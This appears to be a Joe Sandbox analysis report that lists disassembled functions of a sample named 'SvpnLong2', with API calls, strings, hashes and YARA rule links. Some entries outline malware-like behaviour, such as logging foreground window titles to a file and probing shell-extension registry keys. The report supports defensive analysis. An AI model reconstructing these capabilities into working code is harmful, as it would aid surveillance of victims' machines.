Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: AB21D431382B75C6EB14AF65A45025EA266FB45BC4B8A44A8DF794B704DF38D451CB00

Function 0215976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 02159785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 021597DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 02159817
free.LIBCMT ref: 02159824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 0215982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,021542ED), ref: 0215983D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: c4c58970810ec70a119d7a3d2a29d3a63184694d1761144f5aeed687c933e27c
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: 16219232A48B94C6DB249F22B40835EB7A5FB89FC4F494469DE9A07B14EF3CC051C745

Function 01E68448 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 01E68455
_errno.LIBCMT ref: 01E6845D
_invalid_parameter_noinfo.LIBCMT ref: 01E68469
_errno.LIBCMT ref: 01E68492

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 4115123133-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 03948130f9f12543c4a1a6056d04bb55771dee22846213214e5c3f30c9547f63
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: A2F0AF702C07434BEB213FB88858BBD365CDF162EAFC03558DB638A2A1DB35884087A1

Function 021548D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 021548DE
FlsGetValue.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 021548EC
SetLastError.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 02154944

Part of subcall function 0215537C: Sleep.KERNEL32(?,?,00000000,02153110), ref: 021553C1

FlsSetValue.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 02154918
free.LIBCMT ref: 0215493B

Part of subcall function 0215481C: _lock.LIBCMT ref: 02154870
Part of subcall function 0215481C: _lock.LIBCMT ref: 0215488F

GetCurrentThreadId.KERNEL32 ref: 0215492C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
Instruction ID: 74b552b01061c641338e48c4acaf49a3cdfd0d562c8d0252aed43781e8c3a676
Opcode Fuzzy Hash: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
Instruction Fuzzy Hash: 9B016231241740C6EB09AF75E45D36D62A2BB9CBE0F498264CE36033D0EF3CC489C610

Function 01E71350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E71381
_getptd.LIBCMT ref: 01E7139F
_CallSETranslator.LIBCMT ref: 01E713E7

Part of subcall function 01E70340: _getptd.LIBCMT ref: 01E70367

Strings

RCC, xrefs: 01E713BD
MOC, xrefs: 01E713B5

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 0d10cc78622279151c363148a015a1ceeb6c62218c9dbfe07e346029265dd6d5
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: B361E430118B4A9FE724FF58D004BEEB3E1FB91318F541AAED48AC7515EBB4A191C782

Function 02161998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 021619C9

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_getptd.LIBCMT ref: 021619E7
_CallSETranslator.LIBCMT ref: 02161A2F

Part of subcall function 02160988: _getptd.LIBCMT ref: 021609AF

Strings

RCC, xrefs: 02161A05
MOC, xrefs: 021619FD

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction ID: b055a8c4359be27baf37ce2abc3327ee9ed068232759a45b749794ff2ef24d35
Opcode Fuzzy Hash: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction Fuzzy Hash: 7C51BF72644AC5D9CB70DF19E0943BDB3A1FB85B88F494526CB9E47718DBB8C162CB00

Function 00007FF7FC7C1A60 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7C1B0E
_unlock.LIBCMTD ref: 00007FF7FC7C1B79

Strings

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 00007FF7FC7C1AAA, 00007FF7FC7C1B07
_CrtSetDbgFlag, xrefs: 00007FF7FC7C1B00
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 00007FF7FC7C1ABF, 00007FF7FC7C1AF9

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: 27e2866f54ce162fac6007b4ce63b3ceef107bd06370e105abb627252dc7461f
Instruction ID: e92f2dd870acc74908a22a36b8a5ab0a1b42eb3c5e1ac71e656910ec09541558
Opcode Fuzzy Hash: 27e2866f54ce162fac6007b4ce63b3ceef107bd06370e105abb627252dc7461f
Instruction Fuzzy Hash: B8310A719286428BE350EB24F44476AF3A0FB54364F801135E26D476E5DB7CE6558BA0

Function 02161511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 02161564
_getptd.LIBCMT ref: 02161519

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_getptd.LIBCMT ref: 021615DB
_getptd.LIBCMT ref: 021615E7

Strings

csm, xrefs: 0216159B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: e3b45980cc222bd3fc2f2803b5d892a0475f5482d67be70780a676512fac9097
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 04218E37244641C6CA30DF12E0487AEB361F74ABA5F454225CFAE03B54DB39D496CB40

Function 021523A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 021523FF
lstrcpy.KERNEL32 ref: 02152415
wsprintfA.USER32 ref: 02152444

Strings

SOFTWARE\%sW\, xrefs: 02152435
UnKnow, xrefs: 02152409

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 195aa7c792f68c3d37be22e7ebddb30a17c2acf7ee1d3cf2a9bc292ef160b0ce
Instruction ID: 8d9349f2b7a878615f365402294d081f21984af46ca8bc0e247ea65af156dfb8
Opcode Fuzzy Hash: 195aa7c792f68c3d37be22e7ebddb30a17c2acf7ee1d3cf2a9bc292ef160b0ce
Instruction Fuzzy Hash: BC218172228AC5D5EB50DF60E84879EB7A2F7D4744F8500269A9D83A68EB7DC14DCF00

Function 021522C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0215230D
lstrcpy.KERNEL32 ref: 02152323
wsprintfA.USER32 ref: 02152352

Strings

SOFTWARE\%sW\, xrefs: 02152343
UnKnow, xrefs: 02152317

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: d3e69784b9302ca1ce2902db239652cb329ad434354a41554cee57d48e74dbe8
Instruction ID: 8347a4e1e5903d3126f6f799c664ce43de27f3a740159d6fee9a240808399d0d
Opcode Fuzzy Hash: d3e69784b9302ca1ce2902db239652cb329ad434354a41554cee57d48e74dbe8
Instruction Fuzzy Hash: 21113A32218A8196EB20DF25F8987DEA362FBD9744F854012DB8D47A68EF3DC549CB00

Function 021521D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0215222B
lstrcpy.KERNEL32 ref: 02152241
wsprintfA.USER32 ref: 02152270

Strings

SOFTWARE\%sW\, xrefs: 02152261
UnKnow, xrefs: 02152235

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 0d50284aa78bd2e69c8effac112fae1f53a8d1df28bfa31e7eceaae79c1d9a22
Instruction ID: 5e502f0b93dd5aba254fd4866569e4e08bd52f1339567b65dad8e352c10a36c1
Opcode Fuzzy Hash: 0d50284aa78bd2e69c8effac112fae1f53a8d1df28bfa31e7eceaae79c1d9a22
Instruction Fuzzy Hash: 57112B71318A8695EB20DF51E85C7DA6762FBD9749F820016CB4D47A68EF3EC14ECB10

Function 0214F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0214F629
RegGetValueA.ADVAPI32 ref: 0214F666
RegCloseKey.ADVAPI32 ref: 0214F681

Strings

SOFTWARE\Classes\*\shellex, xrefs: 0214F60B
Start, xrefs: 0214F64B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: f4829add2b8a323b4164862a20d8a2f26762ce122dca9afd636063aedc02224b
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 09014FB2315B85C6DB10CF66F48879AB3A4F798794F404225EA8D83B68EF7CC149CB44

Function 01E6B5F4 Relevance: 7.8, APIs: 5, Instructions: 268COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 01E6B687
free.LIBCMT ref: 01E6B816
free.LIBCMT ref: 01E6B822

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction ID: dbdea6ba72b62f64a8d24c595561722f0531246a3f1835112782f08c80d75d4e
Opcode Fuzzy Hash: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction Fuzzy Hash: 54712730758B498FDB59EF1CD4556BD77E5FB68344B84226EE48AC3242DE34E8428BC1

Function 01E57698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 01E62C48: malloc.LIBCMT ref: 01E62C62

std::exception::exception.LIBCMT ref: 01E5775F
free.LIBCMT ref: 01E577CF
free.LIBCMT ref: 01E577E1
free.LIBCMT ref: 01E577F3
free.LIBCMT ref: 01E57805

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction ID: 04b631effd2187cbdb847bdfa6d416db81980c2015dea329768cf315fe633564
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: 3F519E30A58B0E8FDB54EFA9E4657EDBBB1FB28341F90112EC40AD3151DA309455CB85

Function 01E5CA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 01E62C48: malloc.LIBCMT ref: 01E62C62

std::exception::exception.LIBCMT ref: 01E5CAC3
free.LIBCMT ref: 01E5CB45
free.LIBCMT ref: 01E5CB57
free.LIBCMT ref: 01E5CB69
free.LIBCMT ref: 01E5CB7B

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: e3e2a0be950b4e2d23b2523f304f044b59a26fe129b6b109fb3a3135df4b9f19
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: CB518B70519B4E8FDB99EF98D4A0AEEB7A4FF68340F50116ED80AC3251DE30E905CB81

Function 0215BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0215BCCF
__free_lconv_num.LIBCMT ref: 0215BDA3
free.LIBCMT ref: 0215BDAF
free.LIBCMT ref: 0215BE5E
free.LIBCMT ref: 0215BE6A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction ID: 5e89fad66899febef0886e883e13a68d69044923d1391b1cc14594b3add40e9a
Opcode Fuzzy Hash: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction Fuzzy Hash: C6519F32359B94CECB259F26E480799B7A1F789B88F5440A6DFAD47718DF39C242C780

Function 01E66B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E66BBE
_invalid_parameter_noinfo.LIBCMT ref: 01E66BC9
_getptd.LIBCMT ref: 01E66BD5
_lock.LIBCMT ref: 01E66C0E
_lock.LIBCMT ref: 01E66CA1

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: 930a9dff214f717c919568d8fb70ef5033574cd8f1aae3e85deb6a27ce7c54c7
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: 84411830768A8A4FE748FB2C94447BD33D5FBAD384F84656DD84EC7292DE3498418792

Function 021571E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 02157206
_invalid_parameter_noinfo.LIBCMT ref: 02157211
_getptd.LIBCMT ref: 0215721D
_lock.LIBCMT ref: 02157256
_lock.LIBCMT ref: 021572E9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 3e968f4b25247602d9ebc4293e761be424386542312aeac5d2ab4944936ca97b
Instruction ID: 90dfee76c477d35123c9d2e824f535dbb29058d4dc07814619eab5f04dfd01da
Opcode Fuzzy Hash: 3e968f4b25247602d9ebc4293e761be424386542312aeac5d2ab4944936ca97b
Instruction Fuzzy Hash: 9D41E2356856A0C9EB44EB21E9447AEB3A2FB85BD4F9401A9DE7D07794DF38C042CB40

Function 0215A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0215ABAF), ref: 0215AA4E
malloc.LIBCMT ref: 0215AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0215ABAF), ref: 0215AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0215ABAF), ref: 0215AB11
free.LIBCMT ref: 0215AB25

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 19ec0d8d409b3f0c78d3a1fd11e400802325061cd9e83015a295954e37d74f52
Instruction ID: cf038d59d691d1b07323525c49db8b68b38f85a1993f125f9fab513b5483a201
Opcode Fuzzy Hash: 19ec0d8d409b3f0c78d3a1fd11e400802325061cd9e83015a295954e37d74f52
Instruction Fuzzy Hash: B8319C72680BA0CADB208F66D80069963A6FF48BB8F494766FE3D47794EB38C4018700

Function 021633D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 02163419
_exception_enabled.LIBCMT ref: 0216343C

Part of subcall function 0216331C: _set_statfp.LIBCMT ref: 02163343
Part of subcall function 0216331C: _set_statfp.LIBCMT ref: 021633B6

_raise_exc.LIBCMT ref: 02163488
_ctrlfp.LIBCMT ref: 021634C8
_ctrlfp.LIBCMT ref: 021634F9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 35f83f5e21f618c9a91870de90570602bdc3d1f7c2ec9ca4c22ecb3974c6e250
Instruction ID: f08d6d09943f9ae5449eec8848781514f5669149880e648a6af81af6f8e70379
Opcode Fuzzy Hash: 35f83f5e21f618c9a91870de90570602bdc3d1f7c2ec9ca4c22ecb3974c6e250
Instruction Fuzzy Hash: 6C319036614F848AD711DF25E8446AFB772FBCAB98F001215FE991BA18DF38C491CB00

Function 02153E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 02153EA9
RtlDecodePointer.NTDLL ref: 02153EB9

Part of subcall function 0215846C: _errno.LIBCMT ref: 02158475
Part of subcall function 0215846C: _invalid_parameter_noinfo.LIBCMT ref: 02158480

RtlEncodePointer.NTDLL ref: 02153F37

Part of subcall function 02155400: realloc.LIBCMT ref: 0215542B
Part of subcall function 02155400: Sleep.KERNEL32(?,?,00000000,02153F27,?,00000000,?,02153F95,?,?,?,?,0215330B), ref: 02155447

RtlEncodePointer.NTDLL ref: 02153F47
RtlEncodePointer.NTDLL ref: 02153F54

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: d9a459f0783b92d2959656012873e2ed5a315b047ecbc2f62da6ed4a769de28d
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: CB218B21342B60D1DA05DB66F95C35AA3A2F789FC4F8858A6EE6E07714EF7CC089C305

Function 0214DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0214DD9F
GetWindowTextA.USER32 ref: 0214DDBC
lstrlen.KERNEL32 ref: 0214DDF5
GetLocalTime.KERNEL32 ref: 0214DE04
wsprintfA.USER32 ref: 0214DE54

Part of subcall function 0214DCA0: WaitForSingleObject.KERNEL32 ref: 0214DCBC
Part of subcall function 0214DCA0: CreateFileA.KERNEL32 ref: 0214DCEE
Part of subcall function 0214DCA0: SetFilePointer.KERNEL32 ref: 0214DD13
Part of subcall function 0214DCA0: lstrlen.KERNEL32 ref: 0214DD1C
Part of subcall function 0214DCA0: WriteFile.KERNEL32 ref: 0214DD39
Part of subcall function 0214DCA0: CloseHandle.KERNEL32 ref: 0214DD42
Part of subcall function 0214DCA0: ReleaseMutex.KERNEL32 ref: 0214DD54

Memory Dump Source

